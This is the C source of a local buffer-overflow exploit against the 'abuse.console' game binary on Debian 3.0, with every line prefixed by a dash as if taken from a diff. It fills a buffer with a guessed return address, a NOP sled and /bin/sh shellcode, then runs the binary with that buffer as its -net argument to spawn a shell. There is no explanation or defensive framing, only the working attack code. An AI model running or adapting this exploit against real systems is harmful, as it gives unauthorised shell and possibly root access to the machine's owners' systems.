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- /* Abuse.console version 2.0 Exploit */
- /* By Girish<girish@mec.ac.in>
-
- <Tested on Debian 3.0 woody> */
-
- #include<stdio.h>
- #define RET 0xbffff55a
- #define LEN 980
- #define NOP 0x90
-
- static char shellcode[]=
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
-
-
- long esp(void)
- {
- __asm("movl %esp,%eax");
- }
-
- void main(int argc,char *argv[])
- {
-
- char cmd[1000];
- int i,x;
- long retn;
- char buff[LEN];
-
-
- printf("\nUsage :- %s <offset>\n..",argv[0]);
-
- if(argc>1)
- retn=esp()-atoi(argv[1]);
- else
- retn=RET;
-
- printf("Using return Adress :- ",retn );
-
- for(i=0;i<LEN;i+=4)
- {
- *(long*)&buff[i]=retn;
- }
-
- for(i=0;i<(LEN-(strlen(shellcode)+8));i++)
- {
- *(buff+i)=NOP;
-
- }
-
- memcpy(buff+i,shellcode,strlen(shellcode));
-
- sprintf(cmd,"/usr/lib/games/abuse/abuse.console -net %s",buff);
-
- puts("executing .......");
-
- system(cmd);
-
- return;
- }
-
-
-